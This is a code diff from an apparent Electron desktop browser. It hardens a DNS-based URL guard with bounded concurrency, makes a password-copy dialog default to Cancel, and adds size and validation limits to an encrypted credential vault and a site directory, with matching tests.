if (previousActiveTab && previousActiveTab.id !== tab.id) {
revokeTabMediaPermissions(previousActiveTab, false)
}
currentScope.activeTabId = tab.id
currentScope.visibleTabUserSelected = true
// Visible selection does not move the automation exemption; the user may
@@ -1966,6 +2308,7 @@ export function closeTab(tabId: string): void {
dismissFind(tabId)
clearAutomationIndicatorsForTab(tabId)
const [tab] = tabs.splice(index, 1)
revokeTabMediaPermissions(tab, false)
recentlyClosedTabUrls.unshift(sanitizeRestorableUrl(tabUrl(tab)) ?? 'about:blank')
if (recentlyClosedTabUrls.length > MAX_RECENTLY_CLOSED_TABS) {
recentlyClosedTabUrls.length = MAX_RECENTLY_CLOSED_TABS
@@ -2197,6 +2540,7 @@ function closeTabFromUser(tabId: string): void {
function closeLiveTabs(): void {
dismissFind(currentScope.findingTabId)
for (const tab of tabs.splice(0)) {
revokeTabMediaPermissions(tab, false)
detachIfAttached(tab.view)
if (!tab.view.webContents.isDestroyed()) {
tab.view.webContents.close()
@@ -217,6 +217,53 @@ describe('isBlockedSubresourceUrl', () => {
expect(mockLookup).toHaveBeenCalledTimes(1)
})
it('bounds DNS concurrency across distinct hostile hostnames', async () => {
let active = 0
let peak = 0
const releases: Array<() => void> = []
mockLookup.mockImplementation(
() =>
new Promise((resolve) => {
active++
peak = Math.max(peak, active)
releases.push(() => {
active--
resolve([{ address: '93.184.216.34', family: 4 }])
})
})
)
const verdicts = Array.from({ length: 24 }, (_, index) =>
isBlockedSubresourceUrl(`https://parallel-${index}.example/app.js`)
)
await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(8))
releases.splice(0).forEach((release) => release())
await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(16))
releases.splice(0).forEach((release) => release())
await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(24))
releases.splice(0).forEach((release) => release())
await Promise.all(verdicts)
expect(peak).toBe(8)
expect(mockLookup).toHaveBeenCalledTimes(24)
})
it('bounds queued requests by the original DNS deadline', async () => {
vi.useFakeTimers()
try {
mockLookup.mockReturnValue(new Promise(() => {}))
const verdicts = Array.from({ length: 16 }, (_, index) =>
isBlockedSubresourceUrl(`https://slow-${index}.example/app.js`)
)
await vi.advanceTimersByTimeAsync(5_000)
await expect(Promise.all(verdicts)).resolves.toEqual(Array(16).fill(true))
expect(mockLookup).toHaveBeenCalledTimes(8)
} finally {
vi.useRealTimers()
}
})
it('treats a trailing-dot host as the same host', async () => {
await isBlockedSubresourceUrl('https://example.com/a.js')
await isBlockedSubresourceUrl('https://example.com./b.js')
@@ -1,5 +1,5 @@
import { createLogger } from '@sim/logger'
import { resolveHostAddresses } from '@sim/security/dns'
import { DEFAULT_DNS_TIMEOUT_MS, DnsTimeoutError, resolveHostAddresses } from '@sim/security/dns'
import {
isIpLiteral,
isLoopbackIp,
@@ -100,7 +100,7 @@ export async function checkAgentUrl(rawUrl: string): Promise<UrlGuardResult> {
}
try {
const { addresses } = await resolveHostAddresses(host)
const { addresses } = await resolveHostAddressesBounded(host)
if (addresses.some((address) => isBlockedAddress(address))) {
logger.warn('Blocked agent navigation resolving to private IP', { host })
return BLOCKED
@@ -151,6 +151,57 @@ const HOST_VERDICT_TTL_MS = 30_000
* bounded rather than left to grow.
*/
const MAX_HOST_VERDICTS = 256
const MAX_CONCURRENT_DNS_LOOKUPS = 8
const MAX_QUEUED_DNS_LOOKUPS = 64
let activeDnsLookups = 0
const dnsLookupWaiters: Array<() => void> = []
async function acquireDnsLookupSlot(host: string, deadline: number): Promise<void> {
if (activeDnsLookups < MAX_CONCURRENT_DNS_LOOKUPS) {
activeDnsLookups++
return
}
if (dnsLookupWaiters.length >= MAX_QUEUED_DNS_LOOKUPS) {
throw new Error('DNS lookup queue is full')
}
const remainingMs = deadline - Date.now()
if (remainingMs <= 0) throw new DnsTimeoutError(host)
await new Promise<void>((resolve, reject) => {
const grant = () => {
clearTimeout(timer)
resolve()
}
const timer = setTimeout(() => {
const index = dnsLookupWaiters.indexOf(grant)
if (index >= 0) dnsLookupWaiters.splice(index, 1)
reject(new DnsTimeoutError(host))
}, remainingMs)
dnsLookupWaiters.push(grant)
})
}
function releaseDnsLookupSlot(): void {
const next = dnsLookupWaiters.shift()
if (next) {
next()
return
}
activeDnsLookups--
}
async function resolveHostAddressesBounded(host: string) {
const deadline = Date.now() + DEFAULT_DNS_TIMEOUT_MS
await acquireDnsLookupSlot(host, deadline)
try {
const remainingMs = deadline - Date.now()
if (remainingMs <= 0) throw new DnsTimeoutError(host)
return await resolveHostAddresses(host, { timeoutMs: remainingMs })
} finally {
releaseDnsLookupSlot()
}
}
/**
* The in-flight or settled verdict per host.
@@ -216,7 +267,7 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise<boolean>
const cached = hostVerdicts.get(host)
if (cached && Date.now() < cached.expiry) return cached.verdict
const verdict = resolveHostAddresses(host)
const verdict = resolveHostAddressesBounded(host)
.then(({ addresses }) => {
const blocked = addresses.some((address) => isBlockedAddress(address))
if (blocked) {
@@ -3,6 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
const promptTouchID = vi.fn(async () => undefined)
const canPromptTouchID = vi.fn(() => true)
const showMessageBox = vi.fn(async () => ({ response: 1 }))
const getFocusedWindow = vi.fn(() => null as { isDestroyed(): boolean } | null)
vi.mock('electron', () => ({
systemPreferences: {
@@ -18,6 +19,11 @@ vi.mock('electron', () => ({
return showMessageBox
},
},
BrowserWindow: {
get getFocusedWindow() {
return getFocusedWindow
},
},
}))
vi.mock('@sim/logger', () => ({
@@ -67,6 +73,7 @@ describe('authorizeForSecret', () => {
vi.useRealTimers()
revokeSecretAuthorization()
setPlatform('darwin')
getFocusedWindow.mockReturnValue(null)
canPromptTouchID.mockReturnValue(true)
promptTouchID.mockResolvedValue(undefined)
})
@@ -199,11 +206,26 @@ describe('authorizeForSecret', () => {
expect.objectContaining({
message: 'Copy password?',
buttons: ['Cancel', 'Copy password'],
defaultId: 0,
cancelId: 0,
detail: expect.stringContaining('copy a saved password'),
})
)
})
it('parents fallback confirmation to the focused app window', async () => {
canPromptTouchID.mockReturnValue(false)
const parent = { isDestroyed: vi.fn(() => false) }
getFocusedWindow.mockReturnValue(parent)
await authorizeForSecret(copyRequest('c1'))
expect(showMessageBox).toHaveBeenCalledWith(
parent,
expect.objectContaining({ message: 'Copy password?' })
)
})
it('fails closed when the fallback dialog cannot be shown', async () => {
canPromptTouchID.mockReturnValue(false)
showMessageBox.mockRejectedValueOnce(new Error('no window'))
@@ -1,5 +1,6 @@
import { createLogger } from '@sim/logger'
import { dialog, systemPreferences } from 'electron'
import type { MessageBoxOptions } from 'electron'
import { BrowserWindow, dialog, systemPreferences } from 'electron'
const logger = createLogger('BrowserCredentialAuth')
@@ -130,15 +131,20 @@ async function promptForSecret(reason: string, action: string): Promise<boolean>
}
try {
const { response } = await dialog.showMessageBox({
const options: MessageBoxOptions = {
type: 'warning',
buttons: ['Cancel', action],
defaultId: 1,
defaultId: 0,
cancelId: 0,
message: `${action}?`,
detail: `Sim is about to ${reason}. Make sure nobody can see your screen.`,
noLink: true,
})
}
const parent = BrowserWindow.getFocusedWindow()
const { response } =
parent && !parent.isDestroyed()
? await dialog.showMessageBox(parent, options)
: await dialog.showMessageBox(options)
return response === 1
} catch (error) {
// Fail closed: if the confirmation cannot be shown, nothing is revealed.
@@ -1,4 +1,4 @@
import { mkdtemp, readFile, rm, stat } from 'node:fs/promises'
import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
@@ -258,15 +258,78 @@ describe('CredentialVault', () => {
await expect(vault.clear()).resolves.toBeUndefined()
})
it('reads a corrupt or undecryptable vault as empty instead of throwing', async () => {
it('preserves an undecryptable vault until clear explicitly resets it', async () => {
const provider = encryption()
provider.decryptString = vi.fn(() => {
provider.decryptString.mockImplementationOnce(() => {
throw new Error('wrong key')
})
const vault = new CredentialVault(vaultPath, encryption())
await vault.importCredentials(CANDIDATES, 'keep-existing')
const original = await readFile(vaultPath, 'utf8')
const brokenVault = new CredentialVault(vaultPath, provider)
await expect(brokenVault.list()).resolves.toEqual([])
expect(brokenVault.isAvailable()).toBe(false)
await expect(brokenVault.importCredentials(CANDIDATES, 'replace')).resolves.toEqual({
added: 0,
updated: 0,
skipped: 2,
})
await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original)
await brokenVault.clear()
expect(brokenVault.isAvailable()).toBe(true)
await expect(brokenVault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toEqual({
added: 1,
updated: 0,
skipped: 0,
})
await expect(brokenVault.list()).resolves.toHaveLength(1)
})
it('preserves an oversized vault until explicit clear resets persistence', async () => {
await writeFile(vaultPath, '')
await truncate(vaultPath, 64 * 1024 * 1024 + 1)
const vault = new CredentialVault(vaultPath, encryption())
await expect(vault.list()).resolves.toEqual([])
expect(vault.isAvailable()).toBe(false)
await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({
added: 0,
})
expect((await stat(vaultPath)).size).toBe(64 * 1024 * 1024 + 1)
await vault.clear()
await expect(vault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toMatchObject({
added: 1,
})
})
it('blocks a stored credential with fields outside the persistence contract', async () => {
const provider = encryption()
const payload = [
{
id: 'credential-1',
origin: 'https://example.com',
username: 'ada',
password: 'secret',
icon: { unexpected: true },
createdAt: '2026-01-01T00:00:00.000Z',
updatedAt: '2026-01-01T00:00:00.000Z',
source: 'chrome',
},
]
const original = JSON.stringify({
version: 1,
ciphertext: provider.encryptString(JSON.stringify(payload)).toString('base64'),
})
await writeFile(vaultPath, original)
const vault = new CredentialVault(vaultPath, provider)
await expect(vault.list()).resolves.toEqual([])
await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({
added: 0,
})
await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original)
})
})
@@ -1,8 +1,13 @@
import { readFile } from 'node:fs/promises'
import type { BrowserCredentialMetadata } from '@sim/desktop-bridge'
import { createLogger } from '@sim/logger'
import { generateId } from '@sim/utils/id'
import { safeStorage } from 'electron'
import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
import {
FileResourceLimitError,
readFileWithinLimit,
removeFileIfPresent,
writeJsonFileAtomically,
} from '@/main/atomic-json-file'
import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/origin'
/**
@@ -20,6 +25,16 @@ import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/o
*/
const VAULT_VERSION = 1
const MAX_VAULT_FILE_BYTES = 64 * 1024 * 1024
const MAX_VAULT_PAYLOAD_BYTES = 45 * 1024 * 1024
const MAX_CREDENTIAL_RECORDS = 50_000
const MAX_CREDENTIAL_ID_LENGTH = 128
const MAX_CREDENTIAL_ORIGIN_LENGTH = 2_048
const MAX_LOGIN_NAME_LENGTH = 4_096
const MAX_SECRET_VALUE_LENGTH = 65_536
const MAX_CREDENTIAL_ICON_LENGTH = 2 * 1024 * 1024
const MAX_CREDENTIAL_TIMESTAMP_LENGTH = 64
const logger = createLogger('BrowserCredentialVault')
export interface CredentialRecord {
id: string
@@ -65,11 +80,25 @@ function isCredentialRecord(value: unknown): value is CredentialRecord {
const record = value as Record<string, unknown>
return (
typeof record.id === 'string' &&
record.id.length > 0 &&
record.id.length <= MAX_CREDENTIAL_ID_LENGTH &&
typeof record.origin === 'string' &&
record.origin.length > 0 &&
record.origin.length <= MAX_CREDENTIAL_ORIGIN_LENGTH &&
normalizeOrigin(record.origin) === record.origin &&
typeof record.username === 'string' &&
record.username.length <= MAX_LOGIN_NAME_LENGTH &&
typeof record.password === 'string' &&
record.password.length > 0 &&
record.password.length <= MAX_SECRET_VALUE_LENGTH &&
(record.icon === undefined ||
(typeof record.icon === 'string' && record.icon.length <= MAX_CREDENTIAL_ICON_LENGTH)) &&
typeof record.createdAt === 'string' &&
record.createdAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH &&
Number.isFinite(Date.parse(record.createdAt)) &&
typeof record.updatedAt === 'string' &&
record.updatedAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH &&
Number.isFinite(Date.parse(record.updatedAt)) &&
(record.source === 'chrome' || record.source === 'manual')
)
}
@@ -97,6 +126,7 @@ export class CredentialVault {
* failed disk write does not permanently poison subsequent mutations.
*/
private mutationTail: Promise<void> = Promise.resolve()
private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown'
constructor(
private readonly filePath: string,
@@ -122,7 +152,7 @@ export class CredentialVault {
// returning false, and an unguarded call propagated out of a password
// import. The site directory has always defended against it; this did not.
try {
return this.encryption.isEncryptionAvailable()
return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable()
} catch {
return false
}
@@ -135,27 +165,59 @@ export class CredentialVault {
private async read(): Promise<CredentialRecord[]> {
if (!this.isAvailable()) return []
try {
const raw = JSON.parse(await readFile(this.filePath, 'utf8')) as
| Partial<EncryptedVaultEnvelope>
| undefined
if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') return []
const parsed = JSON.parse(
this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
) as unknown
return Array.isArray(parsed) ? parsed.filter(isCredentialRecord) : []
} catch {
// A missing, corrupt, or undecryptable vault reads as empty rather than
// throwing: the browser must stay usable, and a failed write is where
// the user is told something is wrong.
const raw = JSON.parse(
(await readFileWithinLimit(this.filePath, MAX_VAULT_FILE_BYTES)).toString('utf8')
) as Partial<EncryptedVaultEnvelope> | undefined
if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') {
this.blockPersistence('invalid-envelope')
return []
}
const decrypted = this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
if (Buffer.byteLength(decrypted, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) {
this.blockPersistence('resource-limit')
return []
}
const parsed = JSON.parse(decrypted) as unknown
if (
!Array.isArray(parsed) ||
parsed.length > MAX_CREDENTIAL_RECORDS ||
!parsed.every(isCredentialRecord)
) {
this.blockPersistence('invalid-payload')
return []
}
this.persistenceState = 'writable'
return parsed
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
this.persistenceState = 'writable'
return []
}
if (error instanceof FileResourceLimitError) {
this.blockPersistence('resource-limit')
return []
}
this.blockPersistence('read-failed')
return []
}
}
private blockPersistence(
reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
): void {
if (this.persistenceState !== 'blocked') {
logger.warn('Credential vault persistence is unavailable', { reason })
}
this.persistenceState = 'blocked'
}
private async write(records: CredentialRecord[]): Promise<boolean> {
if (!this.isAvailable()) return false
const payload = JSON.stringify(records)
if (Buffer.byteLength(payload, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) return false
const envelope: EncryptedVaultEnvelope = {
version: VAULT_VERSION,
ciphertext: this.encryption.encryptString(JSON.stringify(records)).toString('base64'),
ciphertext: this.encryption.encryptString(payload).toString('base64'),
}
await writeJsonFileAtomically(this.filePath, envelope)
return true
@@ -251,7 +313,17 @@ export class CredentialVault {
for (const candidate of candidates) {
const origin = normalizeOrigin(candidate.origin)
const username = normalizeUsername(candidate.username)
if (origin === null || candidate.password.length === 0) {
const icon =
candidate.icon && candidate.icon.length <= MAX_CREDENTIAL_ICON_LENGTH
? candidate.icon
: undefined
if (
origin === null ||
origin.length > MAX_CREDENTIAL_ORIGIN_LENGTH ||
username.length > MAX_LOGIN_NAME_LENGTH ||
candidate.password.length === 0 ||
candidate.password.length > MAX_SECRET_VALUE_LENGTH
) {
outcome.skipped += 1
continue
}
@@ -262,8 +334,8 @@ export class CredentialVault {
if (policy === 'keep-existing' || existing.password === candidate.password) {
// A re-import still refreshes a missing icon; that is not a
// credential change, so it does not count as an update.
if (candidate.icon && !existing.icon) {
existing.icon = candidate.icon
if (icon && !existing.icon) {
existing.icon = icon
iconsAdded = true
}
outcome.skipped += 1
@@ -272,17 +344,21 @@ export class CredentialVault {
existing.password = candidate.password
existing.updatedAt = timestamp
existing.source = 'chrome'
if (candidate.icon) existing.icon = candidate.icon
if (icon) existing.icon = icon
outcome.updated += 1
continue
}
if (records.length >= MAX_CREDENTIAL_RECORDS) {
outcome.skipped += 1
continue
}
const record: CredentialRecord = {
id: generateId(),
origin,
username,
password: candidate.password,
...(candidate.icon ? { icon: candidate.icon } : {}),
...(icon ? { icon } : {}),
createdAt: timestamp,
updatedAt: timestamp,
source: 'chrome',
@@ -305,6 +381,9 @@ export class CredentialVault {
* machine cannot inherit the previous user's passwords.
*/
async clear(): Promise<void> {
await this.serializeMutation(() => removeFileIfPresent(this.filePath))
await this.serializeMutation(async () => {
await removeFileIfPresent(this.filePath)
this.persistenceState = 'writable'
})
}
}
@@ -81,6 +81,7 @@ function createDeps(overrides: Partial<ImportServiceDeps> = {}): ImportServiceDe
readFavicons: async () => new Map<string, string>(),
readSites: async () => [],
rememberSites: async () => {},
commit: (operation) => operation(),
vault: {
isAvailable: () => true,
importCredentials: async (candidates) => ({
@@ -347,6 +348,31 @@ describe('importChromeCookies', () => {
})
describe('importChromePasswords', () => {
it('does not commit passwords when account teardown begins during the source read', async () => {
let releaseRead: ((result: ReadPasswordsResult) => void) | undefined
const readResult = new Promise<ReadPasswordsResult>((resolve) => {
releaseRead = resolve
})
let current = true
const importCredentials = vi.fn(async () => ({ added: 1, updated: 0, skipped: 0 }))
const deps = createDeps({
readPasswords: () => readResult,
commit: async (operation) => {
if (!current) throw new Error('account expired')
return operation()
},
vault: { isAvailable: () => true, importCredentials },
})
const pending = importChromePasswords(undefined, 'keep-existing', deps)
await vi.waitFor(() => expect(releaseRead).toBeTypeOf('function'))
current = false
releaseRead?.(readPasswords())
await expect(pending).resolves.toMatchObject({ error: 'unknown' })
expect(importCredentials).not.toHaveBeenCalled()
})
it('stores decrypted passwords in the vault and reports counts', async () => {
const importCredentials = vi.fn(async () => ({ added: 2, updated: 1, skipped: 0 }))
const deps = createDeps({
@@ -43,6 +43,8 @@ export interface ImportServiceDeps {
readSites: (historyPath: string, domains: ReadonlySet<string>) => Promise<ImportedSite[]>
/** Records the hosts an import brought over, with their names and icons. */
rememberSites: (records: readonly SiteRecord[]) => Promise<void>
/** Admits a final persistent write only while its originating account is current. */
commit: <T>(operation: () => Promise<T>) => Promise<T>
vault: {
isAvailable: () => boolean
importCredentials: (
@@ -218,7 +220,7 @@ async function runCookieImport(
}
}
const written = await deps.writeCookies(read.cookies)
const written = await deps.commit(() => deps.writeCookies(read.cookies))
const result: BrowserImportResult = {
cookiesImported: written.imported,
cookiesSkipped: skippedReading + written.failed,
@@ -294,10 +296,8 @@ async function runPasswordImport(
const candidates = read.credentials.map(
({ sourceModifiedAt: _sourceModifiedAt, ...candidate }) => candidate
)
const outcome = await deps.vault.importCredentials(
await withFavicons(candidates, profile.faviconsPath, deps),
policy
)
const importedCandidates = await withFavicons(candidates, profile.faviconsPath, deps)
const outcome = await deps.commit(() => deps.vault.importCredentials(importedCandidates, policy))
const result: BrowserPasswordImportResult = {
passwordsAdded: outcome.added,
passwordsUpdated: outcome.updated,
@@ -558,14 +558,16 @@ async function rememberImportedSites(
: new Map<string, string>()
const importedAt = new Date().toISOString()
await deps.rememberSites(
sites.map((site) => ({
hostname: site.hostname,
name: site.name,
icon: icons.get(originOf(site.hostname)),
visits: site.visits,
importedAt,
}))
await deps.commit(() =>
deps.rememberSites(
sites.map((site) => ({
hostname: site.hostname,
name: site.name,
icon: icons.get(originOf(site.hostname)),
visits: site.visits,
importedAt,
}))
)
)
} catch {
// Category only, like every other failure path here: the detail that would
@@ -5,6 +5,10 @@ import type {
BrowserImportResult,
BrowserPasswordImportResult,
} from '@sim/desktop-bridge'
import {
captureAccountDataGeneration,
runAccountDataMutation,
} from '@/main/account-data-generation'
import { importAgentCookies } from '@/main/browser-agent/session'
import { credentialsAvailable, importCredentials } from '@/main/browser-credentials'
import { readBrowserCookies } from '@/main/browser-import/chromium-cookies'
@@ -28,6 +32,7 @@ import { rememberSites } from '@/main/browser-sites'
* `import-service`. The IPC layer talks to this module and nothing deeper.
*/
function deps(): ImportServiceDeps {
const generation = captureAccountDataGeneration()
return {
platform: process.platform,
listProfiles: () => listAllBrowserProfiles(),
@@ -38,6 +43,7 @@ function deps(): ImportServiceDeps {
readFavicons: (faviconsPath, origins) => readBrowserFavicons(faviconsPath, origins),
readSites: (historyPath, domains) => readBrowserSites(historyPath, domains),
rememberSites: (records) => rememberSites(records),
commit: (operation) => runAccountDataMutation(generation, operation),
vault: {
isAvailable: () => credentialsAvailable(),
importCredentials: (candidates, policy) => importCredentials(candidates, policy),
@@ -1,4 +1,4 @@
import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
@@ -74,6 +74,32 @@ describe('SiteDirectory', () => {
])
})
it('keeps sites from concurrent imports', async () => {
const store = open()
await Promise.all([
store.remember([{ hostname: 'github.com', name: 'GitHub' }]),
store.remember([{ hostname: 'linear.app', name: 'Linear' }]),
])
expect((await store.list()).map((site) => site.hostname).sort()).toEqual([
'github.com',
'linear.app',
])
})
it('applies concurrent imports and clear in invocation order', async () => {
const store = open()
await Promise.all([
store.remember([{ hostname: 'github.com', name: 'GitHub' }]),
store.clear(),
store.remember([{ hostname: 'linear.app', name: 'Linear' }]),
])
expect(await store.list()).toEqual([{ hostname: 'linear.app', name: 'Linear' }])
})
it('keeps an existing icon when a later import only learns a name', async () => {
const store = open()
await store.remember([{ hostname: 'github.com', icon: 'data:png' }])
@@ -204,19 +230,44 @@ describe('SiteDirectory', () => {
await expect(readFile(path)).rejects.toThrow()
})
it('reads as empty rather than throwing on a corrupt file', async () => {
await writeFile(path, 'not json at all')
it('preserves a corrupt file until clear explicitly resets persistence', async () => {
const original = 'not json at all'
await writeFile(path, original)
const store = open()
expect(await open().list()).toEqual([])
expect(await store.list()).toEqual([])
expect(store.isAvailable()).toBe(false)
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
expect(await readFile(path, 'utf8')).toBe(original)
const clearing = store.clear()
const remembering = store.remember([{ hostname: 'github.com', name: 'GitHub' }])
await Promise.all([clearing, remembering])
expect(store.isAvailable()).toBe(true)
expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
})
it('ignores a directory written by a future version', async () => {
await writeFile(path, JSON.stringify({ version: 99, payload: 'whatever' }))
it('does not overwrite a directory written by a future version', async () => {
const original = JSON.stringify({ version: 99, payload: 'whatever' })
await writeFile(path, original)
const store = open()
expect(await open().list()).toEqual([])
expect(await store.list()).toEqual([])
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
expect(await readFile(path, 'utf8')).toBe(original)
})
it('drops a directory written before imported hosts became suggestions', async () => {
it('does not overwrite a malformed legacy directory', async () => {
const original = JSON.stringify({ version: 1 })
await writeFile(path, original)
const store = open()
expect(await store.list()).toEqual([])
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
expect(await readFile(path, 'utf8')).toBe(original)
})
it('replaces a valid legacy directory on the next import', async () => {
// Version 1 was seeded from imported cookie hosts — mostly ad and analytics
// origins — and those records only ever decorated a host the omnibox already
// had. Version 2 records are offered as suggestions in their own right, so
@@ -224,15 +275,47 @@ describe('SiteDirectory', () => {
// dropdown. The payload below decrypts cleanly; it is discarded on meaning,
// not on damage.
const version1: SiteRecord[] = [{ hostname: 'doubleclick.net', name: 'DoubleClick' }]
await writeFile(
path,
JSON.stringify({
version: 1,
payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'),
})
)
const original = JSON.stringify({
version: 1,
payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'),
})
await writeFile(path, original)
expect(await open().list()).toEqual([])
const store = open()
expect(await store.list()).toEqual([])
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
expect(await readFile(path, 'utf8')).not.toBe(original)
})
it('preserves an oversized directory until explicit clear', async () => {
await writeFile(path, '')
await truncate(path, 16 * 1024 * 1024 + 1)
const store = open()
expect(await store.list()).toEqual([])
expect(store.isAvailable()).toBe(false)
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
expect((await stat(path)).size).toBe(16 * 1024 * 1024 + 1)
await store.clear()
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
})
it('blocks stored site records with invalid field values', async () => {
const payload = [{ hostname: 'github.com', visits: -1 }]
const original = JSON.stringify({
version: 2,
payload: encryption.encryptString(JSON.stringify(payload)).toString('base64'),
})
await writeFile(path, original)
const store = open()
expect(await store.list()).toEqual([])
await store.remember([{ hostname: 'linear.app', name: 'Linear' }])
expect(await readFile(path, 'utf8')).toBe(original)
})
it('skips an entry with no hostname to key it by', async () => {
+115 -38
View File
@@ -1,6 +1,11 @@
import { readFile } from 'node:fs/promises'
import { createLogger } from '@sim/logger'
import { safeStorage } from 'electron'
import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
import {
FileResourceLimitError,
readFileWithinLimit,
removeFileIfPresent,
writeJsonFileAtomically,
} from '@/main/atomic-json-file'
/**
* What the sites brought over from another browser are called, and what they
@@ -30,6 +35,13 @@ import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json
* trade for a cache of someone else's data that is now user-visible.
*/
const DIRECTORY_VERSION = 2
const MAX_DIRECTORY_FILE_BYTES = 16 * 1024 * 1024
const MAX_DIRECTORY_PAYLOAD_BYTES = 10 * 1024 * 1024
const MAX_SITE_HOSTNAME_LENGTH = 253
const MAX_SITE_NAME_LENGTH = 512
const MAX_SITE_ICON_LENGTH = 512 * 1024
const MAX_SITE_TIMESTAMP_LENGTH = 64
const logger = createLogger('BrowserSiteDirectory')
/**
* Hosts kept across all imports. Bounded because every record can carry an
@@ -69,11 +81,24 @@ interface EncryptedDirectoryEnvelope {
}
function isSiteRecord(value: unknown): value is SiteRecord {
if (!value || typeof value !== 'object' || Array.isArray(value)) return false
const record = value as Record<string, unknown>
return (
typeof value === 'object' &&
value !== null &&
typeof (value as SiteRecord).hostname === 'string' &&
(value as SiteRecord).hostname !== ''
typeof record.hostname === 'string' &&
record.hostname.length > 0 &&
record.hostname.length <= MAX_SITE_HOSTNAME_LENGTH &&
(record.name === undefined ||
(typeof record.name === 'string' && record.name.length <= MAX_SITE_NAME_LENGTH)) &&
(record.icon === undefined ||
(typeof record.icon === 'string' && record.icon.length <= MAX_SITE_ICON_LENGTH)) &&
(record.visits === undefined ||
(typeof record.visits === 'number' &&
Number.isSafeInteger(record.visits) &&
record.visits >= 0)) &&
(record.importedAt === undefined ||
(typeof record.importedAt === 'string' &&
record.importedAt.length <= MAX_SITE_TIMESTAMP_LENGTH &&
Number.isFinite(Date.parse(record.importedAt))))
)
}
@@ -111,6 +136,9 @@ interface EncryptionProvider {
}
export class SiteDirectory {
private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown'
private mutationTail = Promise.resolve()
constructor(
private readonly filePath: string,
private readonly encryption: EncryptionProvider = safeStorage
@@ -123,7 +151,7 @@ export class SiteDirectory {
*/
isAvailable(): boolean {
try {
return this.encryption.isEncryptionAvailable()
return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable()
} catch {
return false
}
@@ -132,32 +160,75 @@ export class SiteDirectory {
private async read(): Promise<SiteRecord[]> {
if (!this.isAvailable()) return []
try {
const raw = await readFile(this.filePath)
const raw = await readFileWithinLimit(this.filePath, MAX_DIRECTORY_FILE_BYTES)
const envelope = JSON.parse(raw.toString('utf8')) as EncryptedDirectoryEnvelope
if (envelope.version !== DIRECTORY_VERSION) return []
const isLegacyEnvelope =
envelope.version === 1 &&
typeof envelope.payload === 'string' &&
Object.keys(envelope).length === 2
if (
(!isLegacyEnvelope && envelope.version !== DIRECTORY_VERSION) ||
typeof envelope.payload !== 'string'
) {
this.blockPersistence('invalid-envelope')
return []
}
const decrypted = this.encryption.decryptString(Buffer.from(envelope.payload, 'base64'))
const records = JSON.parse(decrypted) as SiteRecord[]
// Per-record, not just per-array: everything downstream sorts and merges
// on `hostname`, so one entry without it is a TypeError in the middle of
// an import rather than a record that is quietly skipped.
return Array.isArray(records) ? records.filter(isSiteRecord) : []
} catch {
// A missing, truncated, or foreign-keyed file reads as empty rather than
// taking the omnibox down with it.
if (Buffer.byteLength(decrypted, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) {
this.blockPersistence('resource-limit')
return []
}
const records = JSON.parse(decrypted) as unknown
if (!Array.isArray(records) || records.length > MAX_SITES || !records.every(isSiteRecord)) {
this.blockPersistence('invalid-payload')
return []
}
this.persistenceState = 'writable'
return isLegacyEnvelope ? [] : records
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
this.persistenceState = 'writable'
return []
}
if (error instanceof FileResourceLimitError) {
this.blockPersistence('resource-limit')
return []
}
this.blockPersistence('read-failed')
return []
}
}
private blockPersistence(
reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
): void {
if (this.persistenceState !== 'blocked') {
logger.warn('Browser site directory persistence is unavailable', { reason })
}
this.persistenceState = 'blocked'
}
private async write(records: SiteRecord[]): Promise<boolean> {
if (!this.isAvailable()) return false
const payload = JSON.stringify(records)
if (Buffer.byteLength(payload, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) return false
